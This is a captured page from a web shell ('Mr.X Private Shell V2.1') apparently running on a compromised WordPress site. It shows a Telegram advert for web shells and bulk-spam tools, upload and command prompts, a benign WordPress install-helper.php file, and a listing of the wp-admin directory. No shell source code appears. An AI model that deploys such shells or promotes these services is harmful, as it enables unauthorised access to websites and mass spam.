__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Plugins may load this file to gain access to special helper functions
 * for plugin installation. This file is not included by WordPress and it is
 * recommended, to prevent fatal errors, that this file is included using
 * require_once.
 *
 * These functions are not optimized for speed, but they should only be used
 * once in a while, so speed shouldn't be a concern. If it is and you are
 * needing to use these functions a lot, you might experience timeouts.
 * If you do, then it is advised to just write the SQL code yourself.
 *
 *     check_column( 'wp_links', 'link_description', 'mediumtext' );
 *
 *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
 *         echo "ok\n";
 *     }
 *
 *     // Check the column.
 *     if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
 *         $q = $wpdb->query( $ddl );
 *     }
 *
 *     $error_count = 0;
 *     $tablename   = $wpdb->links;
 *
 *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $res .= $tablename . ' - ok <br />';
 *     } else {
 *         $res .= 'There was a problem with ' . $tablename . '<br />';
 *         ++$error_count;
 *     }
 *
 * @package WordPress
 * @subpackage Plugin
 */

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

if ( ! function_exists( 'maybe_create_table' ) ) :
	/**
	 * Creates a table in the database if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name Database table name.
	 * @param string $create_ddl SQL statement to create table.
	 * @return bool True on success or if the table already exists. False on failure.
	 */
	function maybe_create_table( $table_name, $create_ddl ) {
		global $wpdb;

		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		foreach ( $wpdb->get_col( 'SHOW TABLES', 0 ) as $table ) {
			if ( $table === $table_name ) {
				return true;
			}
		}

		return false;
	}
endif;

if ( ! function_exists( 'maybe_add_column' ) ) :
	/**
	 * Adds column to database table, if it doesn't already exist.
	 *
	 * @since 1.0.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $table_name  Database table name.
	 * @param string $column_name Table column name.
	 * @param string $create_ddl  SQL statement to add column.
	 * @return bool True on success or if the column already exists. False on failure.
	 */
	function maybe_add_column( $table_name, $column_name, $create_ddl ) {
		global $wpdb;

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		// Didn't find it, so try to create it.
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
		$wpdb->query( $create_ddl );

		// We cannot directly tell whether this succeeded!
		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
		foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
			if ( $column === $column_name ) {
				return true;
			}
		}

		return false;
	}
endif;

/**
 * Drops column from database table, if it exists.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name  Database table name.
 * @param string $column_name Table column name.
 * @param string $drop_ddl    SQL statement to drop column.
 * @return bool True on success or if the column doesn't exist. False on failure.
 */
function maybe_drop_column( $table_name, $column_name, $drop_ddl ) {
	global $wpdb;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
		if ( $column === $column_name ) {

			// Found it, so try to drop it.
			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- No applicable variables for this query.
			$wpdb->query( $drop_ddl );

			// We cannot directly tell whether this succeeded!
			// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
			foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
				if ( $column === $column_name ) {
					return false;
				}
			}
		}
	}

	// Else didn't find it.
	return true;
}

/**
 * Checks that database table column matches the criteria.
 *
 * Uses the SQL DESC for retrieving the table info for the column. It will help
 * understand the parameters, if you do more research on what column information
 * is returned by the SQL statement. Pass in null to skip checking that criteria.
 *
 * Column names returned from DESC table are case sensitive and are as listed:
 *
 *  - Field
 *  - Type
 *  - Null
 *  - Key
 *  - Default
 *  - Extra
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name    Database table name.
 * @param string $col_name      Table column name.
 * @param string $col_type      Table column type.
 * @param bool   $is_null       Optional. Check is null.
 * @param mixed  $key           Optional. Key info.
 * @param mixed  $default_value Optional. Default value.
 * @param mixed  $extra         Optional. Extra value.
 * @return bool True, if matches. False, if not matching.
 */
function check_column( $table_name, $col_name, $col_type, $is_null = null, $key = null, $default_value = null, $extra = null ) {
	global $wpdb;

	$diffs = 0;

	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Cannot be prepared. Fetches columns for table names.
	$results = $wpdb->get_results( "DESC $table_name" );

	foreach ( $results as $row ) {

		if ( $row->Field === $col_name ) {

			// Got our column, check the params.
			if ( ( null !== $col_type ) && ( $row->Type !== $col_type ) ) {
				++$diffs;
			}
			if ( ( null !== $is_null ) && ( $row->Null !== $is_null ) ) {
				++$diffs;
			}
			if ( ( null !== $key ) && ( $row->Key !== $key ) ) {
				++$diffs;
			}
			if ( ( null !== $default_value ) && ( $row->Default !== $default_value ) ) {
				++$diffs;
			}
			if ( ( null !== $extra ) && ( $row->Extra !== $extra ) ) {
				++$diffs;
			}

			if ( $diffs > 0 ) {
				return false;
			}

			return true;
		} // End if found our column.
	}

	return false;
}

Filemanager

Name Type Size Permission Actions
css Folder 6775
images Folder 6775
includes Folder 6775
js Folder 6775
maint Folder 6775
network Folder 6775
user Folder 6775
about.php File 15.25 KB 0775
admin-ajax.php File 5.03 KB 0775
admin-footer.php File 2.77 KB 0775
admin-functions.php File 479 B 0775
admin-header.php File 9.12 KB 0775
admin-post.php File 1.97 KB 0775
admin.php File 12.35 KB 0775
async-upload.php File 5.47 KB 0775
authorize-application.php File 10.09 KB 0775
comment.php File 11.35 KB 0775
contribute.php File 5.86 KB 0775
credits.php File 4.38 KB 0775
custom-background.php File 489 B 0775
custom-header.php File 499 B 0775
customize.php File 11.01 KB 0775
edit-comments.php File 14.38 KB 0775
edit-form-advanced.php File 28.83 KB 0775
edit-form-blocks.php File 14.6 KB 0775
edit-form-comment.php File 8.34 KB 0775
edit-link-form.php File 6.21 KB 0775
edit-tag-form.php File 10.44 KB 0775
edit-tags.php File 22 KB 0775
edit.php File 19.48 KB 0775
erase-personal-data.php File 7.33 KB 0775
export-personal-data.php File 7.75 KB 0775
export.php File 11.02 KB 0775
freedoms.php File 4.8 KB 0775
import.php File 7.58 KB 0775
index.php File 7.68 KB 0775
install-helper.php File 6.8 KB 0775
install.php File 17.77 KB 0775
link-add.php File 934 B 0775
link-manager.php File 4.26 KB 0775
link-parse-opml.php File 2.72 KB 0775
link.php File 2.89 KB 0775
load-scripts.php File 2.02 KB 0775
load-styles.php File 2.92 KB 0775
media-new.php File 3.2 KB 0775
media-upload.php File 3.58 KB 0775
media.php File 819 B 0775
menu-header.php File 9.82 KB 0775
menu.php File 17.46 KB 0775
moderation.php File 307 B 0775
ms-admin.php File 196 B 0775
ms-delete-site.php File 4.5 KB 0775
ms-edit.php File 216 B 0775
ms-options.php File 229 B 0775
ms-sites.php File 215 B 0775
ms-themes.php File 217 B 0775
ms-upgrade-network.php File 219 B 0775
ms-users.php File 215 B 0775
my-sites.php File 4.74 KB 0775
nav-menus.php File 48.19 KB 0775
network.php File 5.39 KB 0775
options-discussion.php File 15.92 KB 0775
options-general.php File 21.65 KB 0775
options-head.php File 621 B 0775
options-media.php File 6.38 KB 0775
options-permalink.php File 21.22 KB 0775
options-privacy.php File 9.95 KB 0775
options-reading.php File 9.94 KB 0775
options-writing.php File 9.1 KB 0775
options.php File 13.6 KB 0775
plugin-editor.php File 13.75 KB 0775
plugin-install.php File 6.96 KB 0775
plugins.php File 30 KB 0775
post-new.php File 2.7 KB 0775
post.php File 10.03 KB 0775
press-this.php File 2.34 KB 0775
privacy-policy-guide.php File 3.67 KB 0775
privacy.php File 2.79 KB 0775
profile.php File 283 B 0775
revision.php File 5.7 KB 0775
setup-config.php File 17.48 KB 0775
site-editor.php File 11.98 KB 0775
site-health-info.php File 3.99 KB 0775
site-health.php File 10.2 KB 0775
term.php File 2.2 KB 0775
theme-editor.php File 16.87 KB 0775
theme-install.php File 23.38 KB 0775
themes.php File 47.92 KB 0775
tools.php File 3.43 KB 0775
update-core.php File 45.45 KB 0775
update.php File 12.79 KB 0775
upgrade-functions.php File 341 B 0775
upgrade.php File 6.27 KB 0775
upload.php File 14.9 KB 0775
user-edit.php File 40.36 KB 0775
user-new.php File 24.05 KB 0775
users.php File 23.29 KB 0775
widgets-form-blocks.php File 5.12 KB 0775
widgets-form.php File 19.26 KB 0775
widgets.php File 1.09 KB 0775
Filemanager